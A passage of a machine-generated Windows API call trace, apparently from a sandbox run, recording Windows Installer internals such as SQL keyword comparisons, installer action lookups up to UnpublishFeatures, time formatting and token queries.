lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="ALTER", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="TABLE", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="ADD", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="PRIMARY", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="KEY", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="CHAR", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="CHARACTER", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="VARCHAR", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="LONGCHAR", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="INT", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="INTEGER", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="SHORT", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="LONG", lpString2="0") returned 1 [0128.118] lstrcmpiW (lpString1="OBJECT", lpString2="0") returned 1 [0128.119] lstrcmpiW (lpString1="TEMPORARY", lpString2="0") returned 1 [0128.119] lstrcmpiW (lpString1="HOLD", lpString2="0") returned 1 [0128.119] lstrcmpiW (lpString1="FREE", lpString2="0") returned 1 [0128.119] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="0") returned 1 [0128.119] lstrcmpiW (lpString1="", lpString2="0") returned -1 [0128.119] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0128.119] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0128.119] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0128.119] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0128.119] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0128.119] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0128.119] lstrcmpiW (lpString1="SELECT", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="FROM", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="AS", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="WHERE", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="NULL", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="OR", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="AND", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="NOT", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="ORDER", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="BY", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="DISTINCT", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="UPDATE", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="DELETE", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="INSERT", lpString2="2") returned 1 [0128.119] lstrcmpiW (lpString1="INTO", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="SET", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="VALUES", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="IS", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="CREATE", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="DROP", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="ALTER", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="TABLE", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="ADD", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="PRIMARY", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="KEY", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="CHAR", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="CHARACTER", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="VARCHAR", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="LONGCHAR", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="INT", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="INTEGER", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="SHORT", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="LONG", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="OBJECT", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="TEMPORARY", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="HOLD", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="FREE", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="2") returned 1 [0128.120] lstrcmpiW (lpString1="", lpString2="2") returned -1 [0128.120] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0128.120] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0128.120] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0128.121] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0128.121] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0128.121] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0128.121] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0128.121] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0128.122] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0128.122] lstrcmpiW (lpString1="SELECT", lpString2="AND") returned 1 [0128.122] lstrcmpiW (lpString1="FROM", lpString2="AND") returned 1 [0128.122] lstrcmpiW (lpString1="AS", lpString2="AND") returned 1 [0128.122] lstrcmpiW (lpString1="WHERE", lpString2="AND") returned 1 [0128.122] lstrcmpiW (lpString1="NULL", lpString2="AND") returned 1 [0128.122] lstrcmpiW (lpString1="OR", lpString2="AND") returned 1 [0128.122] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0128.122] lstrcmpiW (lpString1="SELECT", lpString2="2") returned 1 [0128.122] lstrcmpiW (lpString1="FROM", lpString2="2") returned 1 [0128.122] lstrcmpiW (lpString1="AS", lpString2="2") returned 1 [0128.122] lstrcmpiW (lpString1="WHERE", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="NULL", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="OR", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="AND", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="NOT", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="ORDER", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="BY", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="DISTINCT", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="UPDATE", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="DELETE", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="INSERT", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="INTO", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="SET", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="VALUES", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="IS", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="CREATE", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="DROP", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="ALTER", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="TABLE", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="ADD", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="PRIMARY", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="KEY", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="CHAR", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="CHARACTER", lpString2="2") returned 1 [0128.123] lstrcmpiW (lpString1="VARCHAR", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="LONGCHAR", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="INT", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="INTEGER", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="SHORT", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="LONG", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="OBJECT", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="TEMPORARY", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="HOLD", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="FREE", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="2") returned 1 [0128.124] lstrcmpiW (lpString1="", lpString2="2") returned -1 [0128.124] lstrcmpiW (lpString1="SELECT", lpString2="OR") returned 1 [0128.124] lstrcmpiW (lpString1="FROM", lpString2="OR") returned -1 [0128.124] lstrcmpiW (lpString1="AS", lpString2="OR") returned -1 [0128.124] lstrcmpiW (lpString1="WHERE", lpString2="OR") returned 1 [0128.124] lstrcmpiW (lpString1="NULL", lpString2="OR") returned -1 [0128.124] lstrcmpiW (lpString1="OR", lpString2="OR") returned 0 [0128.124] lstrcmpiW (lpString1="SELECT", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="FROM", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="AS", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="WHERE", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="NULL", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="OR", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="AND", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="NOT", lpString2="0") returned 1 [0128.124] lstrcmpiW (lpString1="ORDER", lpString2="0") returned 1 [0128.125] lstrlenW (lpString="Component") returned 9 [0128.125] lstrlenW (lpString="ActionRequest") returned 13 [0128.125] lstrlenW (lpString="=") returned 1 [0128.125] lstrlenW (lpString="1") returned 1 [0128.125] lstrlenW (lpString="Component") returned 9 [0128.125] lstrlenW (lpString="Installed") returned 9 [0128.125] lstrlenW (lpString="=") returned 1 [0128.125] lstrlenW (lpString="0") returned 1 [0128.125] lstrlenW (lpString="Component") returned 9 [0128.125] lstrlenW (lpString="Installed") returned 9 [0128.125] lstrlenW (lpString="=") returned 1 [0128.125] lstrlenW (lpString="2") returned 1 [0128.125] lstrlenW (lpString="Component") returned 9 [0128.125] lstrlenW (lpString="Installed") returned 9 [0128.126] lstrlenW (lpString="=") returned 1 [0128.126] lstrlenW (lpString="1") returned 1 [0128.126] lstrlenW (lpString="Component") returned 9 [0128.126] lstrlenW (lpString="ActionRequest") returned 13 [0128.126] lstrlenW (lpString="=") returned 1 [0128.126] lstrlenW (lpString="2") returned 1 [0128.126] lstrlenW (lpString="Component") returned 9 [0128.126] lstrlenW (lpString="ActionRequest") returned 13 [0128.126] lstrlenW (lpString="=") returned 1 [0128.126] lstrlenW (lpString="0") returned 1 [0128.126] lstrlenW (lpString="BinaryType") returned 10 [0128.126] lstrlenW (lpString="Component") returned 9 [0128.126] lstrlenW (lpString="Directory_") returned 10 [0128.126] lstrlenW (lpString="RuntimeFlags") returned 12 [0128.126] GlobalLock (hMem=0xf401b8) returned 0x21008a0 [0128.127] GlobalUnlock (hMem=0xf401b8) returned 0 [0128.127] GlobalUnlock (hMem=0xf401c8) returned 0 [0128.127] lstrlenW (lpString="ProcessComponents") returned 17 [0128.127] lstrlenW (lpString="Time") returned 4 [0128.127] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.127] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x23e)) [0128.127] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.127] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x23e)) [0128.127] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.127] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.127] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0128.127] memcpy (in: _Dst=0x3b5083a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0128.127] memcpy (in: _Dst=0x3b5083e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.127] GetCurrentThreadId () returned 0xf50 [0128.127] GetCurrentThreadId () returned 0xf50 [0128.127] SetEvent (hEvent=0x170) returned 1 [0128.127] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.130] lstrlenW (lpString="ActionText") returned 10 [0128.130] lstrcmpW (lpString1="Advertise", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="AppSearch", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="BindImage", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="CCPSearch", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="CostFinalize", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="CostInitialize", lpString2="UnpublishFeatures") returned -1 [0128.130] lstrcmpW (lpString1="CreateFolders", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="CreateShortcuts", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="DeleteServices", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="DuplicateFiles", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="FileCost", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="FindRelatedProducts", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="GenerateScript", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="InstallAdminPackage", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="InstallFiles", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="InstallODBC", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="InstallServices", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="InstallValidate", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="LaunchConditions", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="MoveFiles", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="PatchFiles", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="ProcessComponents", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="PublishComponents", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="PublishFeatures", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="PublishProduct", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="RegisterClassInfo", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="RegisterComPlus", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="UnpublishFeatures") returned -1 [0128.131] lstrcmpW (lpString1="RegisterFonts", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RegisterProduct", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RegisterUser", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveFiles", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveFolders", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveIniValues", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveODBC", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RemoveShortcuts", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RMCCPSearch", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="Rollback", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="RollbackCleanup", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="SelfRegModules", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="SelfUnregModules", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="SetODBCFolders", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="StartServices", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="StopServices", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="UnmoveFiles", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="UnpublishComponents", lpString2="UnpublishFeatures") returned -1 [0128.132] lstrcmpW (lpString1="UnpublishFeatures", lpString2="UnpublishFeatures") returned 0 [0128.132] lstrlenW (lpString="ProductLanguage") returned 15 [0128.133] SetLastError (dwErrCode=0x0) [0128.133] LoadLibraryExW (lpLibFileName="MsiMsg.dll", hFile=0x0, dwFlags=0x22) returned 0xc10002 [0128.134] FormatMessageW (in: dwFlags=0x800, lpSource=0xc10002, dwMessageId=0x756b, dwLanguageId=0x409, lpBuffer=0x10ce530, nSize=0x100, Arguments=0x0 | out: lpBuffer="Unpublishing Product Features\x09Feature: [1]\r\n") returned 0x2c [0128.138] lstrlenW (lpString="Feature: [1]") returned 12 [0128.138] lstrlenW (lpString="Unpublishing Product Features") returned 29 [0128.138] FreeLibrary (hLibModule=0xc10002) returned 1 [0128.139] lstrlenW (lpString="UnpublishFeatures") returned 17 [0128.139] lstrlenW (lpString="{{") returned 2 [0128.139] lstrlenW (lpString=": }}") returned 4 [0128.139] SetLastError (dwErrCode=0xd) [0128.139] lstrlenW (lpString="Time") returned 4 [0128.139] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x24d)) [0128.139] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.139] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x24d)) [0128.139] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.139] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x24d)) [0128.139] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.139] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.139] memcpy (in: _Dst=0x3b5081e, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5081e) returned 0x3b5081e [0128.139] memcpy (in: _Dst=0x3b5082e, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x3b5082e) returned 0x3b5082e [0128.139] memcpy (in: _Dst=0x3b50832, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x3b50832) returned 0x3b50832 [0128.139] SetLastError (dwErrCode=0x0) [0128.139] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.139] memcpy (in: _Dst=0x3b50832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b50832) returned 0x3b50832 [0128.140] memcpy (in: _Dst=0x3b50838, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x3b50838) returned 0x3b50838 [0128.140] memcpy (in: _Dst=0x3b5083c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x3b5083c) returned 0x3b5083c [0128.140] SetLastError (dwErrCode=0x0) [0128.140] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.140] memcpy (in: _Dst=0x3b5083c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083c) returned 0x3b5083c [0128.140] GetCurrentThreadId () returned 0xf50 [0128.140] GetCurrentThreadId () returned 0xf50 [0128.140] SetEvent (hEvent=0x170) returned 1 [0128.140] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.142] lstrlenW (lpString="UnpublishFeatures") returned 17 [0128.142] SetLastError (dwErrCode=0xd) [0128.142] SetLastError (dwErrCode=0xd) [0128.142] lstrlenW (lpString="Time") returned 4 [0128.142] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x24d)) [0128.142] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.142] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x24d)) [0128.142] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.142] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x31, wMilliseconds=0x24d)) [0128.142] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:49") returned 9 [0128.142] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0128.142] memcpy (in: _Dst=0x3b5082a, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x3b5082a) returned 0x3b5082a [0128.142] memcpy (in: _Dst=0x3b5083a, _Src=0x376446, _Size=0x4 | out: _Dst=0x3b5083a) returned 0x3b5083a [0128.142] memcpy (in: _Dst=0x3b5083e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.142] SetLastError (dwErrCode=0x0) [0128.142] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0128.142] memcpy (in: _Dst=0x3b5083e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x3b5083e) returned 0x3b5083e [0128.142] memcpy (in: _Dst=0x3b50844, _Src=0x376450, _Size=0x2 | out: _Dst=0x3b50844) returned 0x3b50844 [0128.142] GetCurrentThreadId () returned 0xf50 [0128.142] GetCurrentThreadId () returned 0xf50 [0128.142] SetEvent (hEvent=0x170) returned 1 [0128.143] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0128.145] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0128.145] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0128.145] GetCurrentThreadId () returned 0xf50 [0128.145] GetCurrentThreadId () returned 0xf50 [0128.145] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0128.145] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd920, TokenInformationLength=0x58, ReturnLength=0x10cd910 | out: TokenInformation=0x10cd920, ReturnLength=0x10cd910) returned 1 [0128.146] CopySid (in: 